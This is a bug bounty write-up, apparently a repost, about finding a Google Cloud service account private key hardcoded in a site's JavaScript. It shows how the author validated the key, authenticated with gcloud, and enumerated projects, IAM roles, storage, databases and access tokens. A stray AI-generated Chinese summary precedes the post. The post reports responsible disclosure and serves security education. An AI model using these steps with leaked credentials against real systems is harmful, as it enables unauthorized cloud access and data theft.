How I Earned $0 for a Google Cloud Takeover via a Leaked Service Account Private Key
嗯,用户让我帮忙总结一篇文章的内容,控制在一百个字以内。首先,我需要仔细阅读这篇文章,理解它的主要观点和步骤。 文章讲的是在测试网络应用或漏洞赏金计划时,如何处理Google Cloud服务账户的私钥。作者详细描述了几个步骤:第一步是检查JavaScript文件中是否有硬编码的凭证,包括私钥和client_email。第二步是验证私钥是否有效,使用OpenSSL工具来检查。第三步是准备服务账户密钥文件,并使用gcloud命令来枚举项目和资源。最后,还提到了如何获取访问令牌进行API调用,并强调了负责任地披露漏洞的重要性。 用户的需求很明确,就是要一个简洁的总结,不需要特定的开头,直接描述内容即可。考虑到字数限制,我需要提炼出关键点:发现、验证、准备密钥文件、枚举项目和资源、获取令牌以及负责任的披露。 现在,把这些点整合成一句话,确保不超过一百个字。可能需要合并一些步骤,并突出主要的操作流程和目的。 最终的总结应该涵盖发现私钥、验证、准备文件、枚举项目和资源、获取令牌以及负责任的披露这几个方面。这样既全面又简洁。 </think> 文章介绍如何在测试网络应用或漏洞赏金计划中发现并利用Google Cloud服务账户私钥。通过检查JavaScript文件中的硬编码凭证(如私钥和client_email),验证私钥有效性,并使用gcloud工具枚举项目资源及获取访问令牌以进一步操作。强调负责任地披露漏洞的重要性。 2026-1-25 14:12:13 Author: infosecwriteups.com(查看原文) 阅读量:1 收藏

ARoy

This is a practical guide you may find useful if you ever come across a Google Cloud service account private key during web application testing or bug bounty program.

Press enter or click to view image in full size

Process Flow

JavaScript files → Hardcoded credentials → Google Cloud SDK access

Step 1: Look into JavaScript Files

While analyzing JavaScript files of a redacted target, I noticed hardcoded credentials exposed in the frontend code.

"private_key": "-----BEGIN PRIVATE KEY----- (VALUE) -----END PRIVATE KEY-----"

Alongside it, another critical value was present:

"client_email": "[email protected]"

At this point, the obvious question is: where and how can this be used?

Step 2: Verify Whether the Private Key Is Valid (Optional)

Before attempting any interaction with Google Cloud, it’s useful to confirm whether the key is valid.

How to verify the private key

  1. Open any text editor

2. Paste the private key exactly as found

  • Ensure it includes
    -----BEGIN PRIVATE KEY-----
    and
    -----END PRIVATE KEY-----
  • Save the file as key.pem

Now run:

openssl pkey -in key.pem -text -noout

What this tells you

If OpenSSL prints details such as:

  • modulus
  • publicExponent
  • privateExponent
  • prime1, prime2
  • exponent1, exponent2
  • coefficient

It means:

“This is a valid RSA private key, and it was parsed successfully.”

This does not confirm access only that the key format is correct.

Step 4: Prepare the Service Account Key File

Create a JSON file (for example, creds.json) and place the client email and private key in the standard service account format

Get ARoy’s stories in your inbox

Join Medium for free to get updates from this writer.

For example :

{
"type": "service_account",
"client_email": "[email protected]",
"private_key": "-----BEGIN PRIVATE KEY-----\n Value\n-----END PRIVATE KEY-----\n"
}

Make sure line breaks (\n) are preserved correctly inside the private key.

Run the commands :

gcloud auth activate-service-account --key-file=/path/to/<filename>.json

Press enter or click to view image in full size

Commands to list out projects related to the service account

gcloud projects list
  • PROJECT_ID → Unique string identifier (used in commands, APIs).
    • NAME → Human-readable display name of the project.
    • PROJECT_NUMBER → Unique numeric identifier assigned by Google Cloud.
  • NOTE : gcloud auth list (Make sure to run these )

2nd Command to test

gcloud projects get-iam-policy PROJECT_ID --filter="bindings.members:serviceAccount:client_email"

Press enter or click to view image in full size

Visual Representation

This lists IAM roles assigned to that service account, helping to enumerate what actions it can perform. Make sure to look thoroughly to it , as in my case it gave quite good information as I could map exactly which user has what roles access using which service accounts .

Tip : If you want more cleaner output use the following command

gcloud projects get-iam-policy PROJECT_ID --flatten="bindings[].members" --format="table(bindings.role,bindings.members)"

Press enter or click to view image in full size

Each role mapped to Members

List Available Resources

Depending on assigned permissions, try to list accessible resources:

  • List Firestore databases :
gcloud firestore databases list --project=PROJECT_ID
  • List Google Cloud Storage buckets:
gcloud storage buckets list --project=PROJECT_ID
  • List Compute Engine instances:
gcloud compute instances list --project=PROJECT_ID
  • List BigQuery datasets:
gcloud bigquery datasets list --project=PROJECT_ID

Access Tokens and API Calls

Use the active service account’s access token to make authenticated API calls against Google Cloud APIs to extract data relevant to the app.

gcloud auth print-access-token

With this token, you can query APIs directly using curl or API clients, revealing more insights depending on permissions.

Note : This can be escalated in many ways and different scenarios can be used to further move across the environment .

If you are feeling lazy just use GCP_Enum Tool.

Reporting

The affected organization did not have a formal bug bounty or vulnerability disclosure program in place. The issue was reported responsibly and has since been fixed.
Details have been intentionally limited and anonymized, as requested , to avoid unnecessary exposure and any legal complications as its a well known brand in India.

Disclaimer

This focuses on understanding exposure risk .
Always test within scope, avoid destructive actions, and follow responsible disclosure practices when reporting such issues.

If you’re working on bug bounties or encounter similar scenarios, I’d be happy to collaborate .
Connect with me on LinkedIn:
👉 https://www.linkedin.com/in/arkadeep-roy/


文章来源: https://infosecwriteups.com/how-i-earned-0-for-a-google-cloud-takeover-via-a-leaked-service-account-private-key-6f39218ef5ef?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh